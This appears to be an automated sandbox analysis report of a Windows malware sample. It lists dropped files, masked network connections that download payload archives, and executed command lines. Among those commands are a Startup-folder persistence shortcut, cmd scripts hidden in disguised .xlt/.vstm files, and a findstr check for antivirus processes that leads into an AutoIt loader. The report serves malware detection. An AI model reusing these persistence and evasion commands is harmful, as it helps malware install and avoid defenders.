Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\productivityx.url
Modifies file system
Creates the following files
- %TEMP%\.tmpqqmu5m\progr1.7z
- %TEMP%\.tmpqqmu5m\progr1.exe
- %TEMP%\.tmpqqmu5m\progr2.7z
- %TEMP%\.tmpqqmu5m\progr2.exe
- %TEMP%\.tmpqqmu5m\progr3.7z
- %TEMP%\.tmpqqmu5m\progr3.exe
- %TEMP%\nso43c7.tmp
- %TEMP%\nso4463.tmp
- %TEMP%\nil.xlt
- %TEMP%\trail.xlt
- %TEMP%\bloomberg.xlt
- %TEMP%\wright.xlt
- %TEMP%\winter.xlt
- %TEMP%\axis.xlt
- %TEMP%\guam.xlt
- %TEMP%\circumstances.xlt
- %TEMP%\nsi4e96.tmp\nsexec.dll
- %TEMP%\laboratory.vstm
- %TEMP%\ecuador.vstm
- %TEMP%\affected.vstm
- %TEMP%\explicitly.vstm
- %TEMP%\did.vstm
- %TEMP%\nso502c.tmp\nsexec.dll
- %TEMP%\alpine
- %TEMP%\lat
- %TEMP%\cp
- %TEMP%\teachers
- %TEMP%\advancement
- %TEMP%\hilton
- %TEMP%\sunshine
- %TEMP%\moderators
- %TEMP%\cr
- %TEMP%\housewares
- %TEMP%\148421\initiated.pif
- %TEMP%\148421\x
- %TEMP%\regularly
- %TEMP%\encyclopedia
- %TEMP%\animal
- %TEMP%\louis
- %TEMP%\jordan
- %TEMP%\elvis
- %TEMP%\hidden
- %TEMP%\qui
- %TEMP%\positioning
- %TEMP%\coordinate
- %TEMP%\constantly
- %LOCALAPPDATA%\productivityx innovations co\f
- %LOCALAPPDATA%\productivityx innovations co\productivityx.bat
- %TEMP%\240657\lf.pif
- %LOCALAPPDATA%\productivityx innovations co\productivityx.lnk
- %TEMP%\240657\m
Network activity
Connects to
- '17#.#6.75.202':80
- 'localhost':49694
- 'ur#.##overpool.com':443
- 'localhost':49699
- 'do#####d.cloverpool.com':443
TCP
HTTP GET requests
- /storage-2/ckey.txt via 17#.#6.75.202
- /storage-2/progr1.7z via 17#.#6.75.202
- /storage-2/progr2.7z via 17#.#6.75.202
- /storage-2/progr3.7z via 17#.#6.75.202
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?31##############
Other
- 'localhost':49694
- 'localhost':49695
- 'ur#.##overpool.com':443
- 'localhost':49699
- 'localhost':49700
- 'do#####d.cloverpool.com':443
UDP
- DNS ASK ur#.##overpool.com
- DNS ASK do#####d.cloverpool.com
- DNS ASK CV########NCbmjls.CVClozrlKPNCbmjls
- DNS ASK Kq###########idxQzkAcMa.KqpsaNLXzIMkAidxQzkAcMa
Miscellaneous
Searches for the following windows
- ClassName: '#32770' WindowName: ''
- ClassName: 'SysListView32' WindowName: ''
Creates and executes the following
- '%TEMP%\.tmpqqmu5m\progr1.exe'
- '%TEMP%\.tmpqqmu5m\progr2.exe'
- '%TEMP%\.tmpqqmu5m\progr3.exe'
- '%TEMP%\148421\initiated.pif' X
- '%TEMP%\240657\lf.pif' m
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c cmd < Circumstances.xlt
- '%WINDIR%\syswow64\cmd.exe' /c cmd < Ecuador.vstm
- '%WINDIR%\syswow64\cmd.exe'
- '%WINDIR%\syswow64\tasklist.exe'
- '%WINDIR%\syswow64\findstr.exe' "SophosHealth nsWscSvc ekrn bdservicehost AvastUI AVGUI & if not errorlevel 1 Set gQmwAEbkPgaMmLtqFGjSWIMfht=AutoIt3.exe & Set JOjbyhTDTMpknSEEardLpfmHp=.a3x & Set bgtkNYJUcUToqJrpWJAbCDdsTtTT...
- '%WINDIR%\syswow64\findstr.exe' "SophosHealth nsWscSvc ekrn bdservicehost AvastUI AVGUI & if not errorlevel 1 Set JeXiysxSyvTHgHicJXQqhAygPZolsFMoIVfvhd=AutoIt3.exe & Set oTANbMtjISSqQBwqHbKaTCLyHyuYGzq=.a3x & Set HMSkuwHXOt...
- '%WINDIR%\syswow64\extrac32.exe' /Y Laboratory.vstm *.*
- '%WINDIR%\syswow64\findstr.exe' /V "As" Alpine
- '%WINDIR%\syswow64\extrac32.exe' /Y Wright.xlt *.*
- '%WINDIR%\syswow64\findstr.exe' /V "db" Louis
- '%WINDIR%\syswow64\cmd.exe' /k echo [InternetShortcut] > "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ProductivityX.url" & echo URL="%LOCALAPPDATA%\ProductivityX Innovations Co\ProductivityX.lnk" >> "%APPDATA%...
- '%WINDIR%\syswow64\cmd.exe' /c cmd < Circumstances.xlt' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c cmd < Ecuador.vstm' (with hidden window)
